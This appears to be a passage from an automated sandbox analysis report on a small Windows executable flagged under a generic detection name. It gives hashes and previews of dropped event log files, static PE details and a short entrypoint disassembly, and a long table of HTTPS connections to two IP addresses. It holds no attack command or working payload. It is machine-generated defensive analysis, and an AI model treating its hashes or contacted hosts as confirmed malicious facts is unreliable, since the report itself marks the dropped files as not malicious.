Preview:	ElfChnk.....................................H...x....4.y....................................................................................................................=...........................................................................................................................f...............?...........................m...................M...F....................S......................................&...................................u...................................................**...............Dbf..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.421206160086997
Encrypted:	false
SSDEEP:	384:ah1qUEzUELUEnUEQUEpUE9UE4UEvUEqUEGUEuUEyUEpjUEmUE6UEVUE1UEdUEoUF:arN5mPfkvmR
MD5:	67CAD90771EBC0BD20736201D89C1586
SHA1:	EE241B07EBD6E7A64AE367520F5C0665F4EBBAD7
SHA-256:	7801ED56F87C5A71A42128D089176CFDAACCCD6998EACCD07E46207F2CD48467
SHA-512:	27DE77A98E11A1D33B648B9F46671F61338B1746032B4AD8F003A8A5C52FB7C3ECCB834057074EF5FCD3459A0810439BAF63E1320B385F7A5E81757A90BBFD13
Malicious:	false
Preview:	ElfChnk.........l...............l...............@....^.....................................................................+t].................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......Q8.......................................................6......................**...............yM..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68120
Entropy (8bit):	4.328119413113253
Encrypted:	false
SSDEEP:	384:pdFR7dFRwoDonS6cWNfoLSbdsLSvnQYoxMtg6Wo9MtxLo9MtMozonuoxNo/Vo1+6:B9ra1ZGg6UXShU
MD5:	DDAB4ADB3456E5E2B6165AEDBB24383C
SHA1:	77D2D660BE00256CEACCA19864676B52817E6D87
SHA-256:	DA505BB270A59253A6A1E8E9810A5FF8FA2E57540989003258B2CC818AC663E0
SHA-512:	A81EBB9DF749003FD4F1FB46AD019BC93E45135416AD73815F24C8B3DEC4AB299F8D9E1AE7D6DD7692E201DF93D3D3D66B9CF6482B2832F6C07980E01C57CD64
Malicious:	false
Preview:	ElfChnk.................U.......U...................S.......................................................................y(.O....................s...h...............N...=...................................................N...............................................w.......4.......................-...................................[...........).......M...R...:...........................................................&...................................................................................**......U...........t..........Wt.&........Wt...wX..9Ck?5.?.......A..3...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....\...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79440
Entropy (8bit):	4.425762681262316
Encrypted:	false
SSDEEP:	768:rp2Csp2CYhnLmLQXHmtpJnqiNHpzoQpX2Cj+s:TMO4MHmcsP6s
MD5:	33B1CB907A432AE1AE16727A893FD50E
SHA1:	933E3E64E00531D7391993DA7C4977930E2CFB9E
SHA-256:	49262FED7490BA7244C393C034B55AE27A7A9E42E8C743FD5906E241AD763434
SHA-512:	B89E489DF18FBEDC2E81FE985A6E5E537B7CD480F91153F61758556F62490F456AE80144B899EE8C30F4FCC84C2814663945F29E1FE680E3246661B0AE4C846E
Malicious:	false
Preview:	ElfChnk.................m.......v........... .................................................................................dL................8...s...h...............`...=...................................................N...............................................w.......0.......................E...................................W...........).......M...3...:...........................................................................................................................&...................**......m...........t..........i.e&........i.e.t.Q...H.C.A;.......A../...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....X...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	120552
Entropy (8bit):	3.8840410499059463
Encrypted:	false
SSDEEP:	1536:i/WjC8CgRkR1EAojM1YuObj/J7/WjC8CgRkR1EAojM1YuObj/J:
MD5:	E46A8AD857ABB0E651A4BD172AD7796E
SHA1:	BF58562AF6607022823DDC20A0E02420CD1FBA9B
SHA-256:	EF95FE4C8498C3CDBA1FB2AD74B69877C00028BD7867503E261F1FF96D8A2E58
SHA-512:	C90DF76BF05EC3AF2020F7B44246C3986AA04473BF03F09F316B6DF856131D849DE1B715D9A89570675A9C0401F3465263D618F125C5419BEBD819BDDEEE1D7D
Malicious:	false
Preview:	ElfChnk.................y...........................P\......................................................................:.j.............................................=..........................................................................................................................._...............8...........................f...................M...c...........................n...............................................&.......................................................................**......y........{..t..........B.&........B...._j..d.:Ad........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	4.514410994465201
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe
File size:	4'608 bytes
MD5:	3b5865192ea41263be0a78b4d8a7c795
SHA1:	946d09aeb6ad5c0fd13d4bbd24ed08623f84e413
SHA256:	1f5b18d6733e467c7d89b90cd82f4ec287423ab049617b3e1d0dda246731ce81
SHA512:	912faaa5f27f00e4ab3f14876868d54cc581289535319d08d2c210d078baa7c551f802d105807fd7ee48fdd0f4de06cbf4c50bdee6fa5de6a9829a72ffd57e04
SSDEEP:	96:xid8kYq2qw+7PqNkC2UCAUTU4id3oj2rl:wukYq2qw+7PqZbUTU4idr
TLSH:	3F917567EB35E8C8CB4E62F01A22250E357493A3A7B0567CF99C09768B45950FB0F24C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...................................Y........0....@..........................P.............................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x401159
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	699cc9570c233cf12692f95447a4cdc0

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000008h
nop
mov eax, 00000004h
push eax
mov eax, 00000000h
push eax
lea eax, dword ptr [ebp-04h]
push eax
call 00007F06612047CDh
add esp, 0Ch
mov eax, 00401137h
push eax
call 00007F06612047C7h
mov eax, 00000001h
push eax
call 00007F06612047C4h
add esp, 04h
mov eax, 00030000h
push eax
mov eax, 00010000h
push eax
call 00007F06612047B8h
add esp, 08h
mov eax, dword ptr [004024A8h]
mov ecx, dword ptr [004024ACh]
mov edx, dword ptr [004024B0h]
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-04h]
push eax
mov eax, dword ptr [00403000h]
push eax
push edx
push ecx
mov eax, dword ptr [ebp-08h]
push eax
call 00007F0661204792h
add esp, 14h
mov eax, dword ptr [004024A8h]
mov ecx, dword ptr [004024ACh]
mov edx, dword ptr [004024B0h]
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [edx]
push eax
mov eax, dword ptr [ecx]
push eax
mov eax, dword ptr [ebp-08h]
mov eax, dword ptr [eax]
push eax
call 00007F06612045ACh
add esp, 0Ch
push eax
call 00007F0661204768h
add esp, 04h
leave
ret
push ebp
mov ebp, esp
sub esp, 00000004h
nop
mov eax, dword ptr [004024A8h]
mov ecx, dword ptr [ebp+08h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00000000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2450	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x308	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24a0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b0	0x400	b297c5ddbc8aa533c04f47f4f59669ab	False	0.3447265625	data	3.688542832365266	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x5cb	0x600	7b9438425aa58c3603c1ef1acff29e89	False	0.4921875	data	4.7023372912229355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x3000	0x4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x308	0x400	ddf86b3998a549a4bfd602ecc7d8663a	False	0.3583984375	data	4.317089911756996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4058	0x2a9	XML 1.0 document, ASCII text	English	United States	0.47430249632892807

Imports

DLL	Import
shell32.dll	ShellExecuteA
msvcrt.dll	__argc, __argv, _environ, _XcptFilter, memset, __set_app_type, _controlfp, __getmainargs, exit
kernel32.dll	SetUnhandledExceptionFilter

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 4, 2024 13:41:05.045269966 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:05.045316935 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:05.045404911 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:05.052329063 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:05.052346945 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:05.905339003 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:05.905421972 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:05.909277916 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:05.909290075 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:05.909702063 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:05.918647051 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:05.960516930 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:06.321942091 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:06.322062016 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:06.322139025 CEST	443	49731	140.82.121.4	192.168.2.4
Jun 4, 2024 13:41:06.322170973 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:06.322197914 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:06.323276043 CEST	49731	443	192.168.2.4	140.82.121.4
Jun 4, 2024 13:41:06.360536098 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:06.360640049 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:06.360743046 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:06.361498117 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:06.361531019 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:06.964565039 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:06.964832067 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:06.966638088 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:06.966674089 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:06.967031956 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:06.968981028 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.012511015 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.253534079 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.253748894 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.253899097 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.253916979 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.253931999 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.253989935 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.254071951 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.254096985 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.254266977 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.254277945 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.254363060 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.254394054 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.254407883 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.254416943 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.254470110 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.368855953 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.368976116 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369014025 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369055033 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369215012 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369246960 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.369246960 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.369255066 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369290113 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369335890 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369363070 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.369374990 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.369386911 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.370065928 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.370105982 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.370141029 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.370155096 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.370168924 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.370188951 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.370855093 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.370903015 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.370906115 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.370919943 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.370980978 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.371021986 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.371032953 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.371073008 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.371716022 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.371783018 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.371825933 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.371834993 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.417958975 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.483660936 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.483747005 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.483778000 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.483822107 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.483860016 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.483889103 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.483951092 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.483952045 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.484035969 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.484081030 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.484647989 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.484708071 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.484724045 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.484776020 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.484822035 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.484837055 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.484852076 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.484914064 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.484932899 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.485583067 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.485641956 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.485656023 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.485709906 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.485748053 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.485774040 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.485789061 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.485846996 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.487675905 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.487706900 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.487755060 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.487772942 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.487797976 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.487926006 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.489501953 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.489526033 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.489571095 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.489584923 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.489612103 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.489634991 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.599328041 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.599364996 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.599492073 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.599564075 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.599637985 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.600253105 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.600274086 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.600337982 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.600353956 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.600405931 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.600773096 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.600795984 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.600850105 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.600866079 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.600915909 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.602452040 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.602473021 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.602523088 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.602536917 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.602564096 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.602591038 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.603364944 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.603385925 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.603432894 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.603446007 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.603471041 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.603496075 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.604320049 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.604341984 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.604394913 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.604408979 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.604458094 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.605305910 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.605329990 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.605376959 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.605390072 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.605416059 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.605439901 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.713602066 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.713632107 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.713700056 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.713718891 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.713751078 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.713769913 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.714580059 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.714601040 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.714637995 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.714647055 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.714672089 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.714689016 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.715032101 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.715051889 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.715086937 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.715092897 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.715118885 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.715135098 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.718605995 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.718631983 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.718667984 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.718677998 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.718698025 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.718713999 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.719084978 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.719105959 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.719146967 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.719155073 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.719176054 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.719191074 CEST	49732	443	192.168.2.4	185.199.110.133
Jun 4, 2024 13:41:07.719381094 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.719402075 CEST	443	49732	185.199.110.133	192.168.2.4
Jun 4, 2024 13:41:07.719439983 CEST	49732	443	192.168.2.4	185.199.110.133
